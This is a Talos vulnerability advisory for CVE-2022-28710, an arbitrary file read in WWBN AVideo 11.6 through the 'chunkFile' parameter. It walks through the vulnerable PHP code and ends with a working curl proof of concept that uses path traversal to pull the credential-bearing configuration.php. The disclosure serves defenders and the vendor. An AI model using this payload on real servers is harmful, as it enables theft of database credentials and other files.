Talos Vulnerability Report

TALOS-2022-1550

WWBN AVideo chunkFile information disclosure vulnerability

AUGUST 16, 2022

CVE NUMBER

CVE-2022-28710

SUMMARY

An information disclosure vulnerability exists in the chunkFile functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6
WWBN AVideo dev master commit 3f7c0364

PRODUCT URLS

AVideo - https://github.com/WWBN/AVideo

CVSSV3 SCORE

6.5 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-73 - External Control of File Name or Path

DETAILS

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

The `objects/aVideoEncoder.json.php` file can be used to add new videos. This functionality does not need special configuration to be used. However, the user performing the request needs permission to upload videos.

When adding a new video, a `downloadURL` can be specified, so that AVideo fetches the url content and adds it as a video. Alternatively, a user can supply a file directly via `chunkFile`:

```
...
if (empty($_FILES['video']['tmp_name']) && !empty($_POST['chunkFile'])) {
    $_FILES['video']['tmp_name'] = $_POST['chunkFile'];  // [1]
}

// get video file from encoder
if (!empty($_FILES['video']['tmp_name'])) {
    ...
    _error_log("aVideoEncoder.json: receiving video upload to {$filename} filesize="
. ($fsize) . " (" . humanFileSize($fsize) . ")" . json_encode($_FILES));
    $destinationFile = decideMoveUploadedToVideos($_FILES['video']['tmp_name'],
$filename); // [2]
...
```

At [1], the `chunkFile` parameter is read and used at [2] when calling `decideMoveUploadedToVideos` (passed as `$tmp_name`).

```
function decideMoveUploadedToVideos($tmp_name, $filename, $type = "video") {
    ...
    $path_info = pathinfo($filename);
    // [3]
    if ($type !== "zip" && $path_info['extension'] === 'zip') {
        _error_log("decideMoveUploadedToVideos: ZIp file {$filename}");
        $paths = Video::getPaths($path_info['filename']);
        $dir = $paths['path'];
        unzipDirectory($tmp_name, $dir); // unzip it
        cleanDirectory($dir);
        if (!empty($aws_s3)) {
            //$aws_s3->move_uploaded_file($tmp_name, $filename);
        } elseif (!empty($bb_b2)) {
            $bb_b2->move_uploaded_directory($dir);
        } elseif (!empty($ftp)) {
            //$ftp->move_uploaded_file($tmp_name, $filename);
        }
    } else {
        // [4]
        _error_log("decideMoveUploadedToVideos: NOT ZIp file {$filename}");
        if (!empty($aws_s3)) {
            _error_log("decideMoveUploadedToVideos: S3 {$filename}");
            $aws_s3->move_uploaded_file($tmp_name, $filename);
        } elseif (!empty($bb_b2)) {
            _error_log("decideMoveUploadedToVideos: B2 {$filename}");
            $bb_b2->move_uploaded_file($tmp_name, $filename);
        } elseif (!empty($ftp)) {
            _error_log("decideMoveUploadedToVideos: FTP {$filename}");
            $ftp->move_uploaded_file($tmp_name, $filename);
        } else {
            _error_log("decideMoveUploadedToVideos: Local {$filename}");
            if (!move_uploaded_file($tmp_name, $destinationFile)) { // [5]
                if (!rename($tmp_name, $destinationFile)) {         // [6]
                    if (!copy($tmp_name, $destinationFile)) {       // [7]
                        $obj->msg = "Error on
decideMoveUploadedToVideos({$tmp_name}, $destinationFile)";
                        die(json_encode($obj));
                    }
                }
            }
```

At [3] the code checks if we're handling a zip file. We're not, so we land at [4], where eventually the code tries to handle `$tmp_name` as an uploaded file [5]. That will fail since nothing has been uploaded, so the code will try to rename [6] or copy [7] `$tmp_name` (fully controlled by the attacker) to `$destinationFile`. When no special parameters are sent in the request, `$destinationFile` will simply be ".mp4". This can be used by an attacker to retrieve any file in the host; for example, it's possible to retrieve `videos/configuration.php`, which contains database credentials, possibly leading to privilege escalation.

Exploit Proof of Concept

This proof-of-concept retrieves `configuration.php` (beware, the file will be moved):

```
$ curl -k $'https://192.168.1.200/objects/aVideoEncoder.json.php' \
    -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ia8sm01gdn8kar80bp0q5bsp9l' \
    --data-raw $'format=mp4&chunkFile=../videos/configuration.php'

$ curl -k $'https://192.168.1.200/videos/.mp4'
<?php
$global['configurationVersion'] = 3.1;
$global['disableAdvancedConfigurations'] = 0;
$global['videoStorageLimitMinutes'] = 0;
$global['disableTimeFix'] = 0;
$global['logfile'] = '/var/www/html/AVideo/videos/avideo.log';
...
```

VENDOR RESPONSE

Vendor confirms issues fixed on July 7th 2022

TIMELINE

2022-06-29 - Initial Vendor Contact

2022-07-05 - Vendor Disclosure

2022-07-07 - Vendor Patch Release

2022-08-16 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.
